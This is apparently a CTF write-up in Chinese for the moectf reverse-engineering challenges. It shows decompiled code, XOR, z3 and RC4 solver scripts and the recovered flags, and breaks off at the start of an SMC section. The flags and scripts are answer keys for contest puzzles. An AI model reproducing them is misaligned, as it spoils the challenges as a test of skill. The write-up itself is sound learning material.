nyyyddddn

moectf_wp

2023/12/28

RE

Reverse入门指北

1
2
if ( *(_DWORD *)v7 == 13 )
sub_401082(aMoectfF1rstSt3, v6);
1
aMoectfF1rstSt3 db 'moectf{F1rst_St3p_1s_D0ne}',0Ah,0

base_64

pycdc 下载 编译

发现是base64变种

http://web.chacuo.net/netbasex

把索引表复制进去解密拿到flag

UPX!

exeinfope中看到是upx 3.9 脱壳后

1
2
3
4
5
6
7
8
9
10
11
12
13
for ( j = 0; ; ++j )
{
v8 = j;
v2 = sub_140073829((__int64)inputString);
if ( v8 >= v2 )
break;
inputString[j] ^= 0x67u;
if ( flag[j] != inputString[j] )
{
sub_140073973((__int64)"try again~~");
sub_1400723F7(0i64);
}
}

在这里可以得出只需要将flag全部数据异或上0x67u转ascii码就能拿到flag

1
2
3
4
5
6
7
8
9
10
data = [
0x0A, 0x08, 0x02, 0x04, 0x13, 0x01, 0x1C, 0x57, 0x0F, 0x38,
0x1E, 0x57, 0x12, 0x38, 0x2C, 0x09, 0x57, 0x10, 0x38, 0x2F,
0x57, 0x10, 0x38, 0x13, 0x08, 0x38, 0x35, 0x02, 0x11, 0x54,
0x15, 0x14, 0x02, 0x38, 0x32, 0x37, 0x3F
] + [0x46, 0x46, 0x46] + [0x1A] + [0x00] * 0x17

xor_result = [byte ^ 0x67 for byte in data]
ascii_output = ''.join([chr(byte) for byte in xor_result])
print(ascii_output)

Xor

1
2
3
4
5
6
7
8
9
data = [ 0x54,0x56,0x5C,0x5A,0x4D,0x5F,0x42,
0x60,0x56,0x4C,0x66,0x52,0x57,0x9,0x4E,0x66,0x51,
0x9,0x4E,0x66,0x4D,0x9
,0x66,0x61,0x9,0x6B,0x18,0x44
]

xor_result = [byte ^ 0x39 for byte in data]
ascii_output = ''.join([chr(byte) for byte in xor_result])
print(ascii_output)

ANDROID

根据hint1 搜索到button的id

搜到r.id.check找到关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public class MainActivity extends AppCompatActivity {
char[] enc = {25, 7, 0, 14, 27, 3, 16, '/', 24, 2, '\t', ':', 4, 1, ':', '*', 11, 29, 6, 7, '\f', '\t', '0', 'T', 24, ':', 28, 21, 27, 28, 16};
char[] key = {'t', 'h', 'e', 'm', 'o', 'e', 'k', 'e', 'y'};

/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(R.layout.activity_main);
final EditText editText = (EditText) findViewById(R.id.input);
((Button) findViewById(R.id.check)).setOnClickListener(new View.OnClickListener() { // from class: com.doctor3.basicandroid.MainActivity.1
@Override // android.view.View.OnClickListener
public void onClick(View view) {
String obj = editText.getText().toString();
if (obj.length() != 31) {
Toast.makeText(MainActivity.this.getApplicationContext(), "长度不对哦", 0).show();
return;
}
byte[] bytes = obj.getBytes();
for (int i = 0; i < 31; i++) {
if ((bytes[i] ^ MainActivity.this.key[i % MainActivity.this.key.length]) != MainActivity.this.enc[i]) {
Toast.makeText(MainActivity.this.getApplicationContext(), "好像有哪里不对", 0).show();
return;
}
}
Toast.makeText(MainActivity.this.getApplicationContext(), "恭喜!回答正确", 0).show();
}
});
}
}
1
((bytes[i] ^ MainActivity.this.key[i % MainActivity.this.key.length]) != MainActivity.this.enc[i])

这里就可以得出只要将enc ^ MainActivity.this.key[i % MainActivity.this.key.length])就可以得到bytes 上面得知bytes的长度为31

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import re
import string

enc = [25, 7, 0, 14, 27, 3, 16, '/', 24, 2, '\t', ':', 4,
1, ':', '*', 11, 29, 6, 7, '\f', '\t', '0', 'T', 24,
':', 28, 21, 27, 28, 16]

key = ['t', 'h', 'e', 'm', 'o', 'e', 'k', 'e', 'y']

for i in range(31):
if isinstance(enc[i], int):
enc[i] = enc[i] ^ ord(key[i % len(key)])
else:
enc[i] = ord(enc[i]) ^ ord(key[i % len(key)])


for i in range(31):
print(chr(enc[i]), end="")

EQUATION

使运算全部为假就行了 把!=改成== 然后丢z3里面跑,scanf是31s,但是ida显示上是最大为24,需要修改一下长度

多行合并一行https://www.lddgo.net/string/line-reduce

一行按分隔符分多行https://www.toolhelper.cn/Char/TextSplit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from z3 import *

s = Solver()

v4 = [Int(f'v4[{i}]') for i in range(32)]

# for i in range(32):
# s.add(v4[i] != 0)
# s.add(v4[i] >= 32)
# s.add(v4[i] <= 126)

s.add(v4[0] == 109) #m
s.add(v4[1] == 111) #o
s.add(v4[2] == 101) #e
s.add(v4[3] == 99) #c
s.add(v4[4] == 116) #t
s.add(v4[5] == 102) #f
s.add(v4[6] == 123) #{
#

s.add(334 * v4[28]+ 100 * v4[27]+ 369 * v4[26]+ 124 * v4[25]+ 278 * v4[24]+ 158 * v4[23]+ 162 * v4[22]+ 145 * v4[19]+ 27 * v4[17]+ 91 * v4[15]+ 195 * v4[14]+ 342 * v4[13]+ 391 * v4[10]+ 204 * v4[9]+ 302 * v4[8]+ 153 * v4[7]+ 292 * v4[6]+ 382 * v4[5]+ 221 * v4[4]+ 316 * v4[3]+ 118 * v4[2]+ 295 * v4[1]+ 247 * v4[0]+ 236 * v4[11]+ 27 * v4[12]+ 361 * v4[16]+ 81 * v4[18]+ 105 * v4[20]+ 65 * v4[21]+ 67 * v4[29]+ 41 * v4[30] == 596119)
s.add(371 * v4[29]+ 338 * v4[28]+ 269 * v4[27]+ 312 * v4[26]+ 67 * v4[25]+ 299 * v4[24]+ 235 * v4[23]+ 294 * v4[22]+ 303 * v4[21]+ 211 * v4[20]+ 122 * v4[19]+ 333 * v4[18]+ 341 * v4[15]+ 111 * v4[14]+ 253 * v4[13]+ 68 * v4[12]+ 347 * v4[11]+ 44 * v4[10]+ 262 * v4[9]+ 357 * v4[8]+ 323 * v4[5]+ 141 * v4[4]+ 329 * v4[3]+ 378 * v4[2]+ 316 * v4[1]+ 235 * v4[0]+ 59 * v4[6]+ 37 * v4[7]+ 264 * v4[16]+ 73 * v4[17]+ 126 * v4[30] == 634009)
s.add(337 * v4[29]+ 338 * v4[28]+ 118 * v4[27]+ 82 * v4[26]+ 239 * v4[21]+ 58 * v4[20]+ 304 * v4[19]+ 330 * v4[18]+ 377 * v4[17]+ 306 * v4[16]+ 221 * v4[13]+ 345 * v4[12]+ 124 * v4[11]+ 272 * v4[10]+ 270 * v4[9]+ 229 * v4[8]+ 377 * v4[7]+ 373 * v4[6]+ 297 * v4[5]+ 112 * v4[4]+ 386 * v4[3]+ 90 * v4[2]+ 361 * v4[1]+ 236 * v4[0]+ 386 * v4[14]+ 73 * v4[15]+ 315 * v4[22]+ 33 * v4[23]+ 141 * v4[24]+ 129 * v4[25]+ 123 * v4[30] == 685705)
s.add(367 * v4[29]+ 55 * v4[28]+ 374 * v4[27]+ 150 * v4[24]+ 350 * v4[23]+ 141 * v4[22]+ 124 * v4[21]+ 366 * v4[20]+ 230 * v4[19]+ 307 * v4[18]+ 191 * v4[17]+ 153 * v4[12]+ 383 * v4[11]+ 145 * v4[10]+ 109 * v4[9]+ 209 * v4[8]+ 158 * v4[7]+ 221 * v4[6]+ 188 * v4[5]+ 22 * v4[4]+ 146 * v4[3]+ 306 * v4[2]+ 230 * v4[1]+ 13 * v4[0]+ 287 * v4[13]+ 257 * v4[14]+ 137 * v4[15]+ 7 * v4[16]+ 52 * v4[25]+ 31 * v4[26]+ 355 * v4[30] == 557696)
s.add(100 * v4[29]+ 191 * v4[28]+ 362 * v4[27]+ 55 * v4[26]+ 210 * v4[25]+ 359 * v4[24]+ 348 * v4[21]+ 83 * v4[20]+ 395 * v4[19]+ 350 * v4[16]+ 291 * v4[15]+ 220 * v4[12]+ 196 * v4[11]+ 399 * v4[8]+ 68 * v4[7]+ 84 * v4[6]+ 281 * v4[5]+ 334 * v4[4]+ 53 * v4[3]+ 399 * v4[2]+ 338 * v4[0]+ 18 * v4[1]+ 148 * v4[9]+ 21 * v4[10]+ 174 * v4[13]+ 36 * v4[14]+ 2 * v4[17]+ 41 * v4[18]+ 137 * v4[22]+ 24 * v4[23]+ 368 * v4[30] == 538535)
s.add(188 * v4[29]+ (v4[26] * 2 ** 7)+ 93 * v4[25]+ 248 * v4[24]+ 83 * v4[23]+ 207 * v4[22]+ 217 * v4[19]+ 309 * v4[16]+ 16 * v4[15]+ 135 * v4[14]+ 251 * v4[13]+ 200 * v4[12]+ 49 * v4[11]+ 119 * v4[10]+ 356 * v4[9]+ 398 * v4[8]+ 303 * v4[7]+ 224 * v4[6]+ 208 * v4[5]+ 244 * v4[4]+ 209 * v4[3]+ 189 * v4[2]+ 302 * v4[1]+ 395 * v4[0]+ 314 * v4[17]+ 13 * v4[18]+ 310 * v4[20]+ 21 * v4[21]+ 67 * v4[27]+ 127 * v4[28]+ 100 * v4[30] == 580384)
s.add(293 * v4[29]+ 343 * v4[28]+ 123 * v4[27]+ 387 * v4[26]+ 114 * v4[25]+ 303 * v4[24]+ 248 * v4[23]+ 258 * v4[21]+ 218 * v4[20]+ 180 * v4[19]+ 196 * v4[18]+ 398 * v4[17]+ 398 * v4[14]+ 138 * v4[9]+ 292 * v4[8]+ 38 * v4[7]+ 179 * v4[6]+ 190 * v4[5]+ 57 * v4[4]+ 358 * v4[3]+ 191 * v4[2]+ 215 * v4[1]+ 88 * v4[0]+ 22 * v4[10]+ 72 * v4[11]+ 357 * v4[12]+ 9 * v4[13]+ 389 * v4[15]+ 81 * v4[16]+ 85 * v4[30] == 529847)
s.add(311 * v4[29]+ 202 * v4[28]+ 234 * v4[27]+ 272 * v4[26]+ 55 * v4[25]+ 328 * v4[24]+ 246 * v4[23]+ 362 * v4[22]+ 86 * v4[21]+ 75 * v4[20]+ 142 * v4[17]+ 244 * v4[16]+ 216 * v4[15]+ 281 * v4[14]+ 398 * v4[13]+ 322 * v4[12]+ 251 * v4[11]+ 357 * v4[8]+ 76 * v4[7]+ 292 * v4[6]+ 389 * v4[5]+ 275 * v4[4]+ 312 * v4[3]+ 200 * v4[2]+ 110 * v4[1]+ 203 * v4[0]+ 99 * v4[9]+ 21 * v4[10]+ 269 * v4[18]+ 33 * v4[19]+ 356 * v4[30] == 631652)
s.add(261 * v4[29]+ 189 * v4[26]+ 55 * v4[25]+ 23 * v4[24]+ 202 * v4[23]+ 185 * v4[22]+ 182 * v4[21]+ 285 * v4[20]+ 217 * v4[17]+ 157 * v4[16]+ 232 * v4[15]+ 132 * v4[14]+ 169 * v4[13]+ 154 * v4[12]+ 121 * v4[11]+ 389 * v4[10]+ 376 * v4[9]+ 292 * v4[6]+ 225 * v4[5]+ 155 * v4[4]+ 234 * v4[3]+ 149 * v4[2]+ 241 * v4[1]+ 312 * v4[0]+ 368 * v4[7]+ 129 * v4[8]+ 226 * v4[18]+ 288 * v4[19]+ 201 * v4[27]+ 288 * v4[28]+ 69 * v4[30] == 614840)
s.add(60 * v4[29]+ 118 * v4[28]+ 153 * v4[27]+ 139 * v4[26]+ 23 * v4[25]+ 279 * v4[24]+ 396 * v4[23]+ 287 * v4[22]+ 237 * v4[19]+ 266 * v4[18]+ 149 * v4[17]+ 193 * v4[16]+ 395 * v4[15]+ 97 * v4[14]+ 16 * v4[13]+ 286 * v4[12]+ 105 * v4[11]+ 88 * v4[10]+ 282 * v4[9]+ 55 * v4[8]+ 134 * v4[7]+ 114 * v4[6]+ 101 * v4[5]+ 116 * v4[4]+ 271 * v4[3]+ 186 * v4[2]+ 263 * v4[1]+ 313 * v4[0]+ 149 * v4[20]+ 129 * v4[21]+ 145 * v4[30] == 510398)
s.add(385 * v4[29]+ 53 * v4[28]+ 112 * v4[27]+ 8 * v4[26]+ 232 * v4[25]+ 145 * v4[24]+ 313 * v4[23]+ 156 * v4[22]+ 321 * v4[21]+ 358 * v4[20]+ 46 * v4[19]+ 382 * v4[18]+ 144 * v4[16]+ 222 * v4[14]+ 329 * v4[13]+ 161 * v4[12]+ 335 * v4[11]+ 50 * v4[10]+ 373 * v4[9]+ 66 * v4[8]+ 44 * v4[7]+ 59 * v4[6]+ 292 * v4[5]+ 39 * v4[4]+ 53 * v4[3]+ 310 * v4[0]+ 154 * v4[1]+ 24 * v4[2]+ 396 * v4[15]+ 81 * v4[17]+ 355 * v4[30] == 558740)
s.add(249 * v4[29]+ 386 * v4[28]+ 313 * v4[27]+ 74 * v4[26]+ 22 * v4[25]+ 168 * v4[24]+ 305 * v4[21]+ 358 * v4[20]+ 191 * v4[19]+ 202 * v4[18]+ 14 * v4[15]+ 114 * v4[14]+ 224 * v4[13]+ 134 * v4[12]+ 274 * v4[11]+ 372 * v4[10]+ 159 * v4[9]+ 233 * v4[8]+ 70 * v4[7]+ 287 * v4[6]+ 297 * v4[5]+ 318 * v4[4]+ 177 * v4[3]+ 173 * v4[2]+ 270 * v4[1]+ 163 * v4[0]+ 77 * v4[16]+ 25 * v4[17]+ 387 * v4[22]+ 18 * v4[23]+ 345 * v4[30] == 592365)
s.add(392 * v4[29]+ 385 * v4[28]+ 302 * v4[27]+ 13 * v4[25]+ 27 * v4[24]+ 99 * v4[22]+ 343 * v4[19]+ 324 * v4[18]+ 223 * v4[17]+ 372 * v4[16]+ 261 * v4[15]+ 181 * v4[14]+ 203 * v4[13]+ 232 * v4[12]+ 305 * v4[11]+ 393 * v4[10]+ 325 * v4[9]+ 231 * v4[8]+ 92 * v4[7]+ 142 * v4[6]+ 22 * v4[5]+ 86 * v4[4]+ 264 * v4[3]+ 300 * v4[2]+ 387 * v4[1]+ 360 * v4[0]+ 225 * v4[20]+ 127 * v4[21]+ 2 * v4[23]+ 80 * v4[26]+ 268 * v4[30] == 619574)
s.add(270 * v4[28]+ 370 * v4[27]+ 235 * v4[26]+ 96 * v4[22]+ 85 * v4[20]+ 150 * v4[19]+ 140 * v4[18]+ 94 * v4[17]+ 295 * v4[16]+ 19 * v4[14]+ 176 * v4[12]+ 94 * v4[11]+ 258 * v4[10]+ 302 * v4[9]+ 171 * v4[8]+ 66 * v4[7]+ 278 * v4[6]+ 193 * v4[5]+ 251 * v4[4]+ 284 * v4[3]+ 218 * v4[2]+ (v4[1] * 2 ** 6)+ 319 * v4[0]+ 125 * v4[13]+ 24 * v4[15]+ 267 * v4[21]+ 160 * v4[23]+ 111 * v4[24]+ 33 * v4[25]+ 174 * v4[29]+ 13 * v4[30] == 480557)
s.add(87 * v4[28]+ 260 * v4[27]+ 326 * v4[26]+ 210 * v4[25]+ 357 * v4[24]+ 170 * v4[23]+ 315 * v4[22]+ 376 * v4[21]+ 227 * v4[20]+ 43 * v4[19]+ 358 * v4[18]+ 364 * v4[17]+ 309 * v4[16]+ 282 * v4[15]+ 286 * v4[14]+ 365 * v4[13]+ 287 * v4[12]+ 377 * v4[11]+ 74 * v4[10]+ 225 * v4[9]+ 328 * v4[6]+ 223 * v4[5]+ 120 * v4[4]+ 102 * v4[3]+ 162 * v4[2]+ 123 * v4[1]+ 196 * v4[0]+ 29 * v4[7]+ 27 * v4[8]+ 352 * v4[30] == 666967)
s.add(61 * v4[29]+ 195 * v4[28]+ 125 * v4[27]+ (v4[26] * 2 ** 6)+ 260 * v4[25]+ 202 * v4[24]+ 116 * v4[23]+ 230 * v4[22]+ 326 * v4[21]+ 211 * v4[20]+ 371 * v4[19]+ 353 * v4[16]+ 124 * v4[13]+ 188 * v4[12]+ 163 * v4[11]+ 140 * v4[10]+ 51 * v4[9]+ 262 * v4[8]+ 229 * v4[7]+ 100 * v4[6]+ 113 * v4[5]+ 158 * v4[4]+ 378 * v4[3]+ 365 * v4[2]+ 207 * v4[1]+ 277 * v4[0]+ 190 * v4[14]+ 320 * v4[15]+ 347 * v4[17]+ 11 * v4[18]+ 137 * v4[30] == 590534)
s.add(39 * v4[28]+ 303 * v4[27]+ 360 * v4[26]+ 157 * v4[25]+ 324 * v4[24]+ 77 * v4[23]+ 308 * v4[22]+ 313 * v4[21]+ 87 * v4[20]+ 201 * v4[19]+ 50 * v4[18]+ 60 * v4[17]+ 28 * v4[16]+ 193 * v4[15]+ 184 * v4[14]+ 205 * v4[13]+ 140 * v4[12]+ 311 * v4[11]+ 304 * v4[10]+ 35 * v4[9]+ 356 * v4[8]+ 23 * v4[5]+ 85 * v4[4]+ 156 * v4[3]+ 16 * v4[2]+ 26 * v4[1]+ 157 * v4[0]+ 150 * v4[6]+ 72 * v4[7]+ 58 * v4[29] == 429108)
s.add(157 * v4[29]+ 137 * v4[28]+ 71 * v4[27]+ 269 * v4[26]+ 161 * v4[25]+ 317 * v4[20]+ 296 * v4[19]+ 385 * v4[18]+ 165 * v4[13]+ 159 * v4[12]+ 132 * v4[11]+ 296 * v4[10]+ 162 * v4[7]+ 254 * v4[4]+ 172 * v4[3]+ 132 * v4[0]+ 369 * v4[1]+ 257 * v4[2]+ 134 * v4[5]+ 384 * v4[6]+ 53 * v4[8]+ 255 * v4[9]+ 229 * v4[14]+ 129 * v4[15]+ 23 * v4[16]+ 41 * v4[17]+ 112 * v4[21]+ 17 * v4[22]+ 222 * v4[23]+ 96 * v4[24]+ 126 * v4[30] == 563521)
s.add(207 * v4[29]+ 83 * v4[28]+ 111 * v4[27]+ 35 * v4[26]+ 67 * v4[25]+ 138 * v4[22]+ 223 * v4[21]+ 142 * v4[20]+ 154 * v4[19]+ 111 * v4[18]+ 341 * v4[17]+ 175 * v4[16]+ 259 * v4[15]+ 225 * v4[14]+ 26 * v4[11]+ 334 * v4[10]+ 250 * v4[7]+ 198 * v4[6]+ 279 * v4[5]+ 301 * v4[4]+ 193 * v4[3]+ 334 * v4[2]+ 134 * v4[0]+ 37 * v4[1]+ 183 * v4[8]+ 5 * v4[9]+ 270 * v4[12]+ 21 * v4[13]+ 275 * v4[23]+ 48 * v4[24]+ 163 * v4[30] == 493999)
s.add(393 * v4[29]+ 176 * v4[28]+ 105 * v4[27]+ 162 * v4[26]+ 148 * v4[25]+ 281 * v4[24]+ 300 * v4[23]+ 342 * v4[18]+ 262 * v4[17]+ 152 * v4[12]+ 43 * v4[11]+ 296 * v4[10]+ 273 * v4[9]+ 75 * v4[6]+ 18 * v4[4]+ 217 * v4[2]+ 132 * v4[1]+ 112 * v4[0]+ 210 * v4[3]+ 72 * v4[5]+ 113 * v4[7]+ 40 * v4[8]+ 278 * v4[13]+ 24 * v4[14]+ 77 * v4[15]+ 11 * v4[16]+ 55 * v4[19]+ 255 * v4[20]+ 241 * v4[21]+ 13 * v4[22]+ 356 * v4[30] == 470065)
s.add(369 * v4[29]+ 231 * v4[28]+ 285 * v4[25]+ 290 * v4[24]+ 297 * v4[23]+ 189 * v4[22]+ 390 * v4[21]+ 345 * v4[20]+ 153 * v4[19]+ 114 * v4[18]+ 251 * v4[17]+ 340 * v4[16]+ 44 * v4[15]+ 58 * v4[14]+ 335 * v4[13]+ 359 * v4[12]+ 392 * v4[11]+ 181 * v4[8]+ 103 * v4[7]+ 229 * v4[6]+ 175 * v4[5]+ 208 * v4[4]+ 92 * v4[3]+ 397 * v4[2]+ 349 * v4[1]+ 356 * v4[0]+ (v4[9] * 2 ** 6)+ 5 * v4[10]+ 88 * v4[26]+ 40 * v4[27]+ 295 * v4[30] == 661276)
s.add(341 * v4[27]+ 40 * v4[25]+ 374 * v4[23]+ 201 * v4[22]+ 77 * v4[21]+ 215 * v4[20]+ 283 * v4[19]+ 213 * v4[18]+ 392 * v4[17]+ 224 * v4[16]+ v4[15]+ 270 * v4[12]+ 28 * v4[11]+ 75 * v4[8]+ 386 * v4[7]+ 298 * v4[6]+ 170 * v4[5]+ 287 * v4[4]+ 247 * v4[3]+ 204 * v4[2]+ 103 * v4[1]+ 21 * v4[0]+ 84 * v4[9]+ 27 * v4[10]+ 159 * v4[13]+ 192 * v4[14]+ 213 * v4[24]+ 129 * v4[26]+ 67 * v4[28]+ 27 * v4[29]+ 361 * v4[30] == 555288)
s.add(106 * v4[29]+ 363 * v4[28]+ 210 * v4[27]+ 171 * v4[26]+ 289 * v4[25]+ 240 * v4[24]+ 164 * v4[23]+ 342 * v4[22]+ 391 * v4[19]+ 304 * v4[18]+ 218 * v4[17]+ 32 * v4[16]+ 350 * v4[15]+ 339 * v4[12]+ 303 * v4[11]+ 222 * v4[10]+ 298 * v4[9]+ 47 * v4[8]+ 48 * v4[6]+ 264 * v4[4]+ 113 * v4[3]+ 275 * v4[2]+ 345 * v4[1]+ 312 * v4[0]+ 171 * v4[5]+ 384 * v4[7]+ 175 * v4[13]+ 5 * v4[14]+ 113 * v4[20]+ 19 * v4[21]+ 263 * v4[30] == 637650)
s.add(278 * v4[29]+ 169 * v4[28]+ 62 * v4[27]+ 119 * v4[26]+ 385 * v4[25]+ 289 * v4[24]+ 344 * v4[23]+ 45 * v4[20]+ 308 * v4[19]+ 318 * v4[18]+ 270 * v4[17]+ v4[16]+ 323 * v4[15]+ 332 * v4[14]+ 287 * v4[11]+ 170 * v4[10]+ 163 * v4[9]+ 301 * v4[8]+ 303 * v4[7]+ 23 * v4[6]+ 327 * v4[5]+ 169 * v4[3]+ 28 * v4[0]+ 365 * v4[1]+ 15 * v4[2]+ 352 * v4[12]+ 72 * v4[13]+ 140 * v4[21]+ 65 * v4[22]+ 346 * v4[30] == 572609)
s.add(147 * v4[29]+ 88 * v4[28]+ 143 * v4[27]+ 237 * v4[26]+ 63 * v4[24]+ 281 * v4[22]+ 388 * v4[21]+ 142 * v4[20]+ 208 * v4[19]+ 60 * v4[18]+ 354 * v4[15]+ 88 * v4[14]+ 146 * v4[13]+ 290 * v4[12]+ 349 * v4[11]+ 43 * v4[10]+ 230 * v4[9]+ 267 * v4[6]+ 136 * v4[5]+ 383 * v4[4]+ 35 * v4[3]+ 226 * v4[2]+ 385 * v4[1]+ 238 * v4[0]+ 348 * v4[7]+ 20 * v4[8]+ 158 * v4[16]+ 21 * v4[17]+ 249 * v4[23]+ 9 * v4[25]+ 343 * v4[30] == 603481)
s.add(29 * v4[29]+ 323 * v4[26]+ 159 * v4[25]+ 118 * v4[20]+ 326 * v4[19]+ 211 * v4[18]+ 225 * v4[17]+ 355 * v4[16]+ 201 * v4[15]+ 149 * v4[14]+ 296 * v4[13]+ 184 * v4[12]+ 315 * v4[11]+ 364 * v4[10]+ 142 * v4[9]+ 75 * v4[8]+ 313 * v4[7]+ 142 * v4[6]+ 396 * v4[5]+ 348 * v4[4]+ 272 * v4[3]+ 26 * v4[2]+ 206 * v4[1]+ 173 * v4[0]+ 155 * v4[21]+ 144 * v4[22]+ 366 * v4[23]+ 257 * v4[24]+ 148 * v4[27]+ 24 * v4[28]+ 253 * v4[30] == 664504)
s.add(4 * v4[29]+ 305 * v4[28]+ 226 * v4[27]+ 212 * v4[26]+ 175 * v4[25]+ 93 * v4[24]+ 165 * v4[23]+ 341 * v4[20]+ 14 * v4[19]+ 394 * v4[18]+ (v4[17] * 2 ** 8)+ 252 * v4[16]+ 336 * v4[15]+ 38 * v4[14]+ 82 * v4[13]+ 155 * v4[12]+ 215 * v4[11]+ 331 * v4[10]+ 230 * v4[9]+ 241 * v4[8]+ 225 * v4[7]+ 186 * v4[4]+ 90 * v4[3]+ 50 * v4[2]+ 62 * v4[1]+ 34 * v4[0]+ 237 * v4[5]+ 11 * v4[6]+ 336 * v4[21]+ 36 * v4[22]+ 29 * v4[30] == 473092)
s.add(353 * v4[29]+ 216 * v4[28]+ 252 * v4[27]+ 8 * v4[26]+ 62 * v4[25]+ 233 * v4[24]+ 254 * v4[23]+ 303 * v4[22]+ 234 * v4[21]+ 303 * v4[20]+ (v4[19] * 2 ** 8)+ 148 * v4[18]+ 324 * v4[17]+ 317 * v4[16]+ 213 * v4[15]+ 309 * v4[14]+ 28 * v4[13]+ 280 * v4[11]+ 118 * v4[10]+ 58 * v4[9]+ 50 * v4[8]+ 155 * v4[7]+ 161 * v4[6]+ (v4[5] * 2 ** 6)+ 303 * v4[4]+ 76 * v4[3]+ 43 * v4[2]+ 109 * v4[1]+ 102 * v4[0]+ 93 * v4[30] == 497492)
s.add(89 * v4[29]+ 148 * v4[28]+ 82 * v4[27]+ 53 * v4[26]+ 274 * v4[25]+ 220 * v4[24]+ 202 * v4[23]+ 123 * v4[22]+ 231 * v4[21]+ 169 * v4[20]+ 278 * v4[19]+ 259 * v4[18]+ 208 * v4[17]+ 219 * v4[16]+ 371 * v4[15]+ 181 * v4[12]+ 104 * v4[11]+ 392 * v4[10]+ 285 * v4[9]+ 113 * v4[8]+ 298 * v4[7]+ 389 * v4[6]+ 322 * v4[5]+ 338 * v4[4]+ 237 * v4[3]+ 234 * v4[0]+ 261 * v4[1]+ 10 * v4[2]+ 345 * v4[13]+ 3 * v4[14]+ 361 * v4[30] == 659149)
s.add(361 * v4[29]+ 359 * v4[28]+ 93 * v4[27]+ 315 * v4[26]+ 69 * v4[25]+ 137 * v4[24]+ 69 * v4[23]+ 58 * v4[22]+ 300 * v4[21]+ 371 * v4[20]+ 264 * v4[19]+ 317 * v4[18]+ 215 * v4[17]+ 155 * v4[16]+ 215 * v4[15]+ 330 * v4[14]+ 239 * v4[13]+ 212 * v4[12]+ 88 * v4[11]+ 82 * v4[10]+ 354 * v4[9]+ 85 * v4[8]+ 310 * v4[7]+ 84 * v4[6]+ 374 * v4[5]+ 380 * v4[4]+ 215 * v4[3]+ 351 * v4[2]+ 141 * v4[1]+ 115 * v4[0]+ 108 * v4[30] == 629123)

if s.check() == sat:
m = s.model()
for v in v4:
if (str(m[v]) == 'None'):continue
i = m[v]
print(chr(int(str(i))),end="") // i是int ref,需要转str然后转int

RRRRRc4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
__int64 __fastcall sub_1400795E0(__int64 a1, __int64 a2, __int64 inputString, int a4, __int64 key, unsigned int a6)
{
__int64 result; // rax
int i; // [rsp+24h] [rbp+4h]
int j; // [rsp+24h] [rbp+4h]
int v9; // [rsp+24h] [rbp+4h]
int v10; // [rsp+44h] [rbp+24h]
int v11; // [rsp+44h] [rbp+24h]
char v12; // [rsp+64h] [rbp+44h]
char v13; // [rsp+64h] [rbp+44h]
int v14; // [rsp+A4h] [rbp+84h]

result = sub_14007555C(&unk_1401A7007);
v10 = 0;
v14 = 0;
for ( i = 0; i < 256; ++i )
{
*(_BYTE *)(a1 + i) = i;
*(_BYTE *)(a2 + i) = *(_BYTE *)(key + i % a6);
result = (unsigned int)(i + 1);
}
for ( j = 0; j < 256; ++j )
{
v10 = (*(unsigned __int8 *)(a2 + j) + *(unsigned __int8 *)(a1 + j) + v10) % 256;
v12 = *(_BYTE *)(a1 + v10);
*(_BYTE *)(a1 + v10) = *(_BYTE *)(a1 + j);
*(_BYTE *)(a1 + j) = v12;
result = (unsigned int)(j + 1);
}
v9 = 0;
v11 = 0;
while ( a4 )
{
v9 = (v9 + 1) % 256;
v11 = (*(unsigned __int8 *)(a1 + v9) + v11) % 256;
v13 = *(_BYTE *)(a1 + v11);
*(_BYTE *)(a1 + v11) = *(_BYTE *)(a1 + v9);
*(_BYTE *)(a1 + v9) = v13;
*(_BYTE *)(inputString + v14++) ^= *(_BYTE *)(a1
+ (*(unsigned __int8 *)(a1 + v11) + *(unsigned __int8 *)(a1 + v9)) % 256);
result = (unsigned int)--a4;
}
return result;
}

初始化数组 产生一个s盒 异或上s盒 是rc4的特征,不过不是标准的rc4,所以需要跟着逻辑写一下然后解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include <stdio.h>
#include <string.h>

int main() {
int a1[256], a2[256];
unsigned char a3[] = {
0x1B, 0x9B, 0xFB, 0x19, 0x06, 0x6A, 0xB5, 0x3B, 0x7C, 0xBA, 0x03, 0xF3, 0x91, 0xB8, 0xB6,
0x3D, 0x8A, 0xC1, 0x48, 0x2E, 0x50, 0x11, 0xE7, 0xC7, 0x4F, 0xB1, 0x27, 0xCF, 0xF3, 0xAE,
0x03, 0x09, 0xB2, 0x08, 0xFB, 0xDC, 0x22,0x00,0x00
};
int a4 = 38;
char key[] = "moectf2023";
int a6 = 10;

int i, j;
int v9 = 0, v10 = 0, v11 = 0, v13 = 0, v14 = 0;
int result = 0;

for (i = 0; i < 256; i++) {
a1[i] = i;
a2[i] = key[i % a6];
result = i + 1;
}

for (j = 0; j < 256; j++) {
v10 = (a2[j] + a1[j] + v10) % 256;
int v12 = a1[v10];
a1[v10] = a1[j];
a1[j] = v12;
result = j + 1;
}

v9 = 0;
v11 = 0;

while (a4) {
v9 = (v9 + 1) % 256;
v11 = (a1[v9] + v11) % 256;
v13 = a1[v11];
a1[v11] = a1[v9];
a1[v9] = v13;
a3[v14] ^= a1[(a1[v11] + a1[v9]) % 256];
v14++;
a4--;
}

for (i = 0; i < sizeof(a3); i++) {
printf("%02x ", a3[i]);
}
printf("\n");

return 0;
}

ascii解密拿到flag moectf{y0u_r3a11y_understand_rc4!!!!}

SMC

Self-Modifying Code顾名思义,工作起来分三步,编译的时候将函数的字节码加密插入程序,然后用VirtualProtect修改内存的保护(text段修改成可写的),然后运行解密函数将这个函数解密

查询了一下,大多数smc相关的题目有关字节码加密的操作使用异或的挺多的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __cdecl main_0(int argc, const char **argv, const char **envp)
